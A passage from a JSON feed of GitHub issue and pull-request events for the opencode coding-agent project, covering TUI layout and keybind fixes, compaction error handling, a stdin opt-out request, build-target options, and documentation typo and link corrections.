          "text": "## What Keep transcript image preview rows at the same full height used by composer image previews. ## Before / After **Before:** The transcript image container could collapse inside the scrolling timeline, so an image submitted from the composer appeared shorter in message history. **After:** The transcript preview row explicitly reserves the calculated image height plus its vertical padding, preserving the same 4-8 row preview size as the composer. ## How - `packages/tui/src/routes/session/index.tsx` gives `SessionImages` an explicit total row height of `height() + 2`. - The existing responsive height calculation, width, cropping, image count, and preview dialog behavior are unchanged. ## Testing - `bun typecheck` in `packages/tui` - Full pre-push repository typecheck hook, 32 packages passed - OpenCode Drive script typecheck and isolated V2 timeline run with an image-bearing prompt ## Demo OpenCode Drive timeline after admitting an image-bearing prompt. The headless renderer preserves the corrected preview row layout but does not paint terminal image-protocol bitmaps into PNG screenshots. ![OpenCode Drive timeline](https://github.com/user-attachments/assets/0eb0b7e3-0852-494b-8c4e-c002bf510e86)",
          "url": "https://github.com/anomalyco/opencode/pull/42065",
          "createdAt": "2026-08-12T15:44:23Z",
          "updatedAt": "2026-08-12T15:49:38Z",
          "timestamp": "2026-08-12T15:49:38Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:d029699e49436d6d39bc",
        "signalId": "github:anomalyco/opencode:pull_request:42063",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42063",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): reject empty compaction summaries",
          "text": "### Issue for this PR Closes #41571 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A compaction model can finish with reasoning but no text summary. V1 currently treats that as success, which can hide the previous history behind an empty summary boundary. This marks the summary as errored and stops before tail, replay, auto-continue, or the compacted event — so a fresh failed attempt cannot filter away earlier messages. It's limited to the safety invariant; #41663 explores the larger structured-input alternative. ### How did you verify your code works? - `cd packages/opencode && bun test test/session/compaction.test.ts` — 54 pass, 1 skip, 0 fail - `cd packages/opencode && bun typecheck` - Changed-file Prettier and `git diff --check` The regression drives a reasoning-only processor response and verifies the error state, stopped result, absent compacted event, and retained history. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42063",
          "createdAt": "2026-08-12T15:39:48Z",
          "updatedAt": "2026-08-12T15:49:27Z",
          "timestamp": "2026-08-12T15:49:27Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:168605e6bd657b782969",
        "signalId": "github:anomalyco/opencode:pull_request:42055",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42055",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): smooth session tab marquees",
          "text": "## What Smooth session tab marquees across pointer movement, looping, and hover exit. - Moving the pointer across child renderables inside one tab no longer restarts the marquee delay or resets its offset. - Repeated titles are separated by exactly ` · `. - Leaving a scrolling tab keeps the title moving forward until the next natural beginning, then settles there instead of snapping backward. ## Before / After **Before** Moving across the number, title, or close mark produced bubbling mouse out/over pairs. Each pair reset the marquee to offset zero and restarted its 600 ms delay. A completed loop used four blank cells, and leaving the tab snapped directly to the beginning. **After** Same-tab pointer transitions preserve the waiting or scrolling phase. A real leave hides hover affordances immediately while the title finishes the current ` · ` loop, then returns to its exact starting position. ## How - `packages/tui/src/component/session-tabs.tsx` gives horizontal and vertical tab strips a marquee controller with explicit waiting, scrolling, and forward-return behavior. A zero-delay hover clear distinguishes a real tab exit from OpenTUI's bubbling child transitions. - `packages/tui/src/util/marquee.ts` defines the ` · ` separator and exposes the exact display-cell cycle width used to find the next natural beginning. - `packages/tui/test/util/marquee.test.ts` covers the separator and exact cycle boundary. ## Scope This changes only session tab marquee interaction. Tab layout, title generation, drag behavior, and non-overflowing titles are unchanged. ## Testing - `bun run test test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3` across the monorepo - OpenCode Drive against this worktree with a simulated long generated title; verified same-tab pointer movement, ` · ` looping, and forward completion after moving off-tab ## Demo OpenCode Drive recording using the real development TUI and a simulated model-generated long session title. https://github.com/user-attachments/assets/363b3d20-ecc8-4694-81e2-1add39341580",
          "url": "https://github.com/anomalyco/opencode/pull/42055",
          "createdAt": "2026-08-12T15:20:28Z",
          "updatedAt": "2026-08-12T15:49:19Z",
          "timestamp": "2026-08-12T15:49:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4396063c1cd5b47f49c9",
        "signalId": "github:anomalyco/opencode:issue:42064",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42064",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: let opencode run ignore an unused inherited stdin pipe",
          "text": "- [x] I have verified this feature I'm about to request hasn't been suggested before. # Describe the enhancement you want to request `opencode run` reads non-TTY stdin to EOF before starting a prompt. That is the right default for intentional input such as: ```sh cat context.txt | opencode run \"review this\" ``` The problem is that some supervisors give every child a pipe and keep its writer open, even when the command has no stdin payload. The prompt then never starts. This minimal Python control retains the pipe deliberately; changing `PIPE` to `DEVNULL` makes the same command progress to the expected invalid-model error: ```python import subprocess args = [\"opencode\", \"run\", \"--model\", \"invalid/provider-model\", \"reply with OK\"] def run(stdin): child = subprocess.Popen(args, stdin=stdin) try: return f\"exit {child.wait(timeout=5)}\" except subprocess.TimeoutExpired: child.terminate() child.wait() return \"still waiting after 5s\" print(\"open pipe:\", run(subprocess.PIPE)) print(\"closed input:\", run(subprocess.DEVNULL)) ``` Could `run` expose an explicit opt-out, for example `--no-stdin`? It would skip only the stdin read for that invocation; the existing default and `pipe + positional prompt` behavior would not change. I have a small implementation and subprocess tests ready if this interface is acceptable. The symptom also appeared in [#11891](https://github.com/anomalyco/opencode/issues/11891), which documented `DEVNULL` as a caller-side workaround. Related [#25508](https://github.com/anomalyco/opencode/issues/25508) and merged [#16300](https://github.com/anomalyco/opencode/pull/16300) show why silently ignoring piped input is not safe. When the caller controls descriptors, `DEVNULL`, `stdin: \"ignore\"`, or closing the writer remains the workaround.",
          "url": "https://github.com/anomalyco/opencode/issues/42064",
          "createdAt": "2026-08-12T15:40:43Z",
          "updatedAt": "2026-08-12T15:42:03Z",
          "timestamp": "2026-08-12T15:42:03Z",
          "metrics": {
            "reactions": 1,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:920135a2ab8507e6cfd6",
        "signalId": "github:anomalyco/opencode:issue:31734",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:31734",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Include ripgrep in binary builds (windows, win-x64) for offline environments",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request When using OpenCode for Windows (Desktop or EXE) in an offline environment you get the error ```Transport error get (GET https://github.com/BurntSushi/ripgrep/releases/download/15.1.0/ripgrep-15.1.0-x86_64-pc-windows-msvc.zip)``` when opencode tries to use the glob tool. It would be nice to have ripgrep included in the .exe and in the desktop version if possible.",
          "url": "https://github.com/anomalyco/opencode/issues/31734",
          "createdAt": "2026-06-10T17:30:10Z",
          "updatedAt": "2026-08-12T15:40:48Z",
          "timestamp": "2026-08-12T15:40:48Z",
          "metrics": {
            "reactions": 5,
            "comments": 4
          },
          "labels": [],
          "author": "TheMasterFX",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:15b6c927e98700a6472b",
        "signalId": "github:anomalyco/opencode:issue:32091",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:32091",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: allow `--single` to accept an optional platform target",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request - [x] I have verified this feature does not already exist in the issue tracker. **Problem** The build script (`script/build.ts`) only supports `--single` to build for the current platform. Cross-compiling for a different platform (e.g. building `linux-arm64` from macOS) requires either building all 14 targets or editing the source file to narrow `allTargets`. **Proposed approach** https://github.com/charlesverge/opencode/pull/1 Make `--single` accept an optional value like `--single linux-arm64` or `--single win32`. Without an argument it keeps the existing behavior (current platform). The value is parsed as `<os>[-<arch>[-<variant>]]` and matched against the target definitions. Valid examples: | Command | Builds | |---|---| | `--single` | current platform, native variant | | `--single linux-arm64` | Linux ARM64 (glibc) | | `--single linux-arm64-musl` | Linux ARM64 (musl) | | `--single linux-x64` | Linux x64 (glibc) | | `--single linux-x64-musl` | Linux x64 (musl) | | `--single linux-x64-baseline` | Linux x64 baseline/SSE | | `--single linux-x64-musl-baseline` | Linux x64 musl baseline | | `--single darwin` | all macOS variants | | `--single win32` | all Windows variants | The implementation adds ~30 lines of matching logic to `packages/opencode/script/build.ts` and a usage comment at the top of the file. **Why it belongs in OpenCode** Developers who need to test platform-specific builds or deploy to remote machines (Linux ARM64 servers, etc.) currently have no ergonomic way to build a single cross-compiled target. This is a small change to the existing build entrypoint with no effect on CI or release workflows.",
          "url": "https://github.com/anomalyco/opencode/issues/32091",
          "createdAt": "2026-06-12T18:54:35Z",
          "updatedAt": "2026-08-12T15:40:44Z",
          "timestamp": "2026-08-12T15:40:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "charlesverge",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:193b5bbf1f18e8a7e044",
        "signalId": "github:anomalyco/opencode:issue:35581",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:35581",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: TUI /session picker: option to show all sessions across all projects",
          "text": "## Feature Request ### Checklist - [x] I have searched existing issues and confirmed this feature has not been suggested before (checked: #31932 and #17842 which are related but focus on CLI flags; this issue focuses on the TUI session picker interaction model) ### Problem The `/session` picker in the TUI only shows sessions scoped to the current working directory/project. There is no way to browse sessions from other directories without either: - Launching OpenCode from a different directory - Knowing the session ID in advance and using `opencode --session <id>` from the CLI ### Expected Behavior A way to view **all sessions across all projects** directly from the TUI session picker — either: - A toggle or keybind inside the `/session` picker to switch between \"current project\" and \"all sessions\" - A config option to default the session picker to global scope - A separate command (e.g. `/sessions --all`) that shows everything ### Current Workaround ``` opencode session list --format json opencode --session <id> ``` This works but is cumbersome — it requires dropping out of the TUI, running a CLI command, manually copying a session ID, and re-launching. ### Context The `opencode session list` CLI command already returns all sessions globally (no directory filtering), so the data is all in one database. The TUI just needs a way to surface it.",
          "url": "https://github.com/anomalyco/opencode/issues/35581",
          "createdAt": "2026-07-06T18:08:22Z",
          "updatedAt": "2026-08-12T15:33:09Z",
          "timestamp": "2026-08-12T15:33:09Z",
          "metrics": {
            "reactions": 2,
            "comments": 5
          },
          "labels": [],
          "author": "LucasBersier",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5e7f1ea9a4000da5d40c",
        "signalId": "github:anomalyco/opencode:issue:42058",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42058",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Session picker gives no indication that the list is scoped to a directory",
          "text": "## Context CONTRIBUTING says UI changes need a design review before implementation, so raising this rather than sending a PR. The session picker shows footer hints for quick-switch and delete, but nothing for `app.toggle.session_directory_filter`. Even once the binding works in the picker (#42056) and is bindable, there is no indication in the picker that the current list is scoped to a directory, or that a key widens it. The scope of the list is invisible: a session that exists but is filtered out looks like a session that does not exist. ## Proposal Add one footer hint to `DialogSessionList` that names what the key will do next and flips with the current scope: - while narrowed to a directory: `<key> all sessions` - while showing everything: `<key> this directory` Details that seem worth keeping either way: - read the key via `useCommandShortcut(\"app.toggle.session_directory_filter\")`, as the delete and quick-switch hints already do, so a rebind is reflected and nothing is hardcoded - render nothing when the command is unbound, so the footer never advertises a dead key - render nothing when `project.data.instance.path.worktree` is absent, since `sessionListQuery()` returns `{ scope: \"project\" }` regardless in that case and the toggle would appear to do nothing ## Open questions for the design review 1. Is a footer hint the right surface, or would you rather show current scope in the picker title or as a header line? 2. Wording. \"all sessions\" / \"this directory\" describes the next action; showing current state instead (\"this directory only\") is the other option, and the two read quite differently in the footer. 3. Should the hint appear at all when the command is unbound, as a discoverability nudge pointing at the palette entry, or stay hidden as proposed? I have this implemented and tested locally, including the unbound and no-worktree cases, and am happy to open a PR if you want it in this shape, or to build whatever shape you prefer. Equally happy for this to be closed if it is not wanted.",
          "url": "https://github.com/anomalyco/opencode/issues/42058",
          "createdAt": "2026-08-12T15:24:41Z",
          "updatedAt": "2026-08-12T15:33:07Z",
          "timestamp": "2026-08-12T15:33:07Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "thepigdestroyer",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:341a3217e02e6e381524",
        "signalId": "github:anomalyco/opencode:issue:42032",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42032",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "docs: fix \"ProviderDisplay Name\" and \"personal access tokens\" typos",
          "text": "### Description Two typos in the docs: 1. `packages/web/src/content/docs/providers.mdx:2490` and `:2528` — `\"name\": \"My AI ProviderDisplay Name\"` is missing a space; should be `\"My AI Provider Display Name\"`. 2. `packages/web/src/content/docs/github.mdx:100` — \"a [personal access tokens]\" uses the plural form after \"a\"; should be \"a [personal access token]\".",
          "url": "https://github.com/anomalyco/opencode/issues/42032",
          "createdAt": "2026-08-12T14:19:56Z",
          "updatedAt": "2026-08-12T15:32:25Z",
          "timestamp": "2026-08-12T15:32:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "skyzhao1223",
          "state": "closed",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b81ac2bd01a3500a3867",
        "signalId": "github:anomalyco/opencode:pull_request:42034",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42034",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: fix provider display name and PAT typos",
          "text": "### Issue for this PR Fixes #42032 ### Type of change - [x] Bug fix (docs typo) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two typos in the docs: 1. `packages/web/src/content/docs/providers.mdx:2490` and `:2528` — `\"My AI ProviderDisplay Name\"` → `\"My AI Provider Display Name\"` (missing space in the example provider config). 2. `packages/web/src/content/docs/github.mdx:100` — \"a [personal access tokens]\" → \"a [personal access token]\" (singular/plural mismatch after \"a\"). ### How did you verify your code works? These are pure doc text changes. `bun typecheck` (30/30 packages) passed via the pre-push hook. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42034",
          "createdAt": "2026-08-12T14:22:57Z",
          "updatedAt": "2026-08-12T15:32:24Z",
          "timestamp": "2026-08-12T15:32:24Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "skyzhao1223",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3083e181f3aa7e6d89bc",
        "signalId": "github:anomalyco/opencode:issue:42060",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42060",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI: session directory filter keybind is inactive inside the session picker",
          "text": "### What happened A key bound to `app.toggle.session_directory_filter` does nothing while the session picker is open. The same key works from the main screen. The default for this keybind is `none`, so only users who bind it hit this. ### Steps to reproduce 1. Put this in `tui.json`: ```json { \"keybinds\": { \"app_toggle_session_directory_filter\": \"ctrl+a\" } } ``` 2. On the main screen, press `ctrl+a`. The filter toggles, as expected. 3. Open the session picker (`session.list`), press `ctrl+a`. Nothing happens. ### Cause `app.toggle.session_directory_filter` is in `appBindingCommands`, and that list is gathered under a mode: ```ts useBindings(() => ({ mode: OPENCODE_BASE_MODE, bindings: tuiConfig.keybinds.gather(\"app\", appBindingCommands), })) ``` Opening a dialog pushes `\"modal\"` (`packages/tui/src/ui/dialog.tsx`), so that whole layer goes inactive. The session picker is a dialog. Confirmed by pushing the mode directly in a test: `getOpencodeModeStack(keymap).push(\"modal\")` takes the command from 1 active binding to 0. ### Expected The toggle decides which sessions the picker lists, so it should be reachable while the picker is open. `appGlobalBindingCommands` is gathered without a mode and already holds `session.list` and the quick-switch commands for this reason. ### Second, smaller problem The command ends with an unconditional `dialog.clear()`. If it is triggered while the picker is open, the picker closes, so you cannot see the result of the toggle. The picker's resource queries on `sync.session.query()`, so it re-lists in place if left open. I have a fix for both and will link a PR.",
          "url": "https://github.com/anomalyco/opencode/issues/42060",
          "createdAt": "2026-08-12T15:29:59Z",
          "updatedAt": "2026-08-12T15:31:48Z",
          "timestamp": "2026-08-12T15:31:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "thepigdestroyer",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:863718c7d792cfc6c6c9",
        "signalId": "github:anomalyco/opencode:pull_request:42048",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42048",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "docs: fix broken DigitalOcean and Daytona links",
          "text": "### Type of change - [x] Bug fix (docs: dead links) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two broken (404) links in the docs: 1. `packages/web/src/content/docs/providers.mdx` — the DigitalOcean \"Inference Routers\" link pointed to `docs.digitalocean.com/products/genai-platform/concepts/inference-routers/` which returns 404. Updated to the current `docs.digitalocean.com/products/inference/how-to/use-inference-router/` (this is the same URL already used later on the same page). 2. `packages/web/src/content/docs/ecosystem.mdx` — the opencode-daytona link pointed to `github.com/daytonaio/daytona/tree/main/libs/opencode-plugin` which returns 404 (that repo is no longer maintained). The opencode plugin now lives in `github.com/daytona/integrations/tree/main/packages/opencode-plugin`. ### How did you verify your code works? Both replacement URLs were checked and return 200. `bun typecheck` (30/30 packages) passed via the pre-push hook. These are pure doc link changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42048",
          "createdAt": "2026-08-12T14:58:29Z",
          "updatedAt": "2026-08-12T15:31:48Z",
          "timestamp": "2026-08-12T15:31:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "skyzhao1223",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:99a1151d93e989161549",
        "signalId": "github:anomalyco/opencode:issue:41868",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41868",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Merge  Gateway reasoning effort variants are not selectable",
          "text": "### Description Merge Gateway models can declare supported reasoning efforts through models.dev, but OpenCode does not map `merge-gateway-ai-sdk-provider` to the adapter's `mergeGateway` provider-options namespace. As a result, the declared effort variants are unavailable and a selected effort is not forwarded to the adapter. Expected behavior: expose the exact effort values declared by models.dev and send the selected value through `providerOptions.mergeGateway.reasoningEffort`. Related PR: https://github.com/anomalyco/opencode/pull/41867 ### Plugins None ### OpenCode version Development build at d470434 ### Steps to reproduce 1. Connect the MERGE Gateway provider. 2. Select a reasoning model such as GPT-5.6 Sol. 3. Open the model variant selector. 4. Observe that the reasoning effort choices declared by models.dev are unavailable. ### Screenshot and/or share link <img width=\"639\" height=\"240\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/c9aaaded-3396-4a5a-ad19-8a7c8233a7c0\" /> ### Operating System macOS 26.5.2 ### Terminal Ghostty",
          "url": "https://github.com/anomalyco/opencode/issues/41868",
          "createdAt": "2026-08-11T23:08:19Z",
          "updatedAt": "2026-08-12T15:31:21Z",
          "timestamp": "2026-08-12T15:31:21Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "MatthewFeroz",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:9bf2efdfa367a08f54ab",
        "signalId": "github:anomalyco/opencode:pull_request:41867",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41867",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(provider): add Merge Gateway reasoning variants",
          "text": "### Issue for this PR Closes #41868 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Merge Gateway models can declare reasoning effort choices through models.dev, but OpenCode did not recognize the adapter's `mergeGateway` provider-options key. As a result, reasoning variants were not selectable and selected efforts were not passed to the adapter correctly. This adds provider-wide support for `merge-gateway-ai-sdk-provider`. It preserves the effort values declared by models.dev and passes the selected value through `mergeGateway.reasoningEffort`. The implementation does not hard-code individual model IDs. ### How did you verify your code works? - Ran `bun test test/provider/transform.test.ts test/provider/provider.test.ts` from `packages/opencode`: 509 passed - Ran `bun typecheck` from `packages/opencode` - Connected MERGE Gateway in the local OpenCode web app - Selected GPT-5.6 Sol with the High reasoning variant - Confirmed the request completed successfully through Merge Gateway ### Screenshots / recordings <img width=\"200\" height=\"130\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1f8c59d-da74-40c7-87b4-a96f8184427c\" /> <img width=\"120\" height=\"174\" alt=\"image\" src=\"https://github.com/user-attachments/assets/aaafd1c0-a106-4e7b-931f-9cc412b9ec5b\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/41867",
          "createdAt": "2026-08-11T22:54:18Z",
          "updatedAt": "2026-08-12T15:31:20Z",
          "timestamp": "2026-08-12T15:31:20Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "MatthewFeroz",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:02571d6a0e3a7486ffe7",
        "signalId": "github:anomalyco/opencode:pull_request:42056",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42056",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): keep session directory filter toggle usable in the picker",
          "text": "### Issue for this PR Closes #42060 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A key bound to `app.toggle.session_directory_filter` does nothing inside the session picker, which is where the toggle matters. It works on the main screen, so it looks intermittent. Cause: the command sits in `appBindingCommands`, which is gathered with `mode: OPENCODE_BASE_MODE`. Opening a dialog pushes `\"modal\"` in `ui/dialog.tsx`, so that layer goes inactive, and the picker is a dialog. Fix: move the command to `appGlobalBindingCommands`, which is gathered without a mode. That list already holds `session.list` and the quick-switch commands for the same reason. Dialog-owned layers still win keys they bind, since dialog bindings are registered by the dialog itself, and this keybind defaults to `none` so no new conflict is introduced. Second change in the same command: `dialog.clear()` ran unconditionally, so toggling from inside the picker closed it and hid the result. The picker's resource queries on `sync.session.query()`, so leaving it open re-lists in place. Palette invocations still clear as before. Happy to drop this part if you would rather keep the PR to the layer move. ### How did you verify your code works? - Bound `ctrl+a` locally. Before: works on main screen, dead in the picker. After: works in both, and the picker stays open and re-lists. - Confirmed the mode interaction directly rather than by eye: pushing `\"modal\"` via `getOpencodeModeStack(keymap).push(\"modal\")` and reading `getCommandBindings({ visibility: \"active\" })` gives 0 active bindings before the change and 1 after. - `bun run typecheck` in `packages/tui`, clean. - `bun test test/keymap.test.tsx test/component/dialog-session-list.test.ts test/config.test.tsx`, 16 pass. I have a regression test for the modal case but left it out, because asserting it needs `appBindingCommands` and `appGlobalBindingCommands` exported from `app.tsx` and I did not want to widen the module API uninvited. Say the word and I will add it. ### Screenshots / recordings No visual change. The keybind defaults to `none`, so nothing differs unless a user binds it. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42056",
          "createdAt": "2026-08-12T15:23:52Z",
          "updatedAt": "2026-08-12T15:30:28Z",
          "timestamp": "2026-08-12T15:30:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "thepigdestroyer",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2c9bdd643f312e57e522",
        "signalId": "github:anomalyco/opencode:pull_request:40334",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40334",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): make permission mode keybind configurable",
          "text": "### Issue for this PR Closes #40331 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The TUI already supports toggling auto-approve permissions through the `permission.mode` command, but users cannot assign that command a key in `tui.json`. This change adds `app_toggle_auto_approve_permissions` with no default binding, maps it to the existing command, and registers `permission.mode` with the app-level TUI bindings. It does not change permission behavior, persistence, or default shortcuts. ### How did you verify your code works? - Ran `bun typecheck` in `packages/tui`. - Ran `bun typecheck` in `packages/opencode`. - Confirmed through `TuiConfig.resolve(...)` that the configured key resolves to `permission.mode`. - Relaunched the TUI and confirmed that `super+shift+a` toggles the `auto` indicator and changes the command description between enabling and disabling auto-approve permissions. ### Screenshots / recordings Not applicable, since this change does not alter the rendered UI. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR Process: human-directed and reviewed, with agentic assistance from openai/gpt-5.6-sol/high.",
          "url": "https://github.com/anomalyco/opencode/pull/40334",
          "createdAt": "2026-08-03T22:40:38Z",
          "updatedAt": "2026-08-12T15:29:08Z",
          "timestamp": "2026-08-12T15:29:08Z",
          "metrics": {
            "reactions": 1,
            "comments": 1
          },
          "labels": [
            "contributor"
          ],
          "author": "CasualDeveloper",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:c2fa8f6d7797395b0963",
        "signalId": "github:anomalyco/opencode:pull_request:42057",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42057",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): allow binding a key to permission.mode",
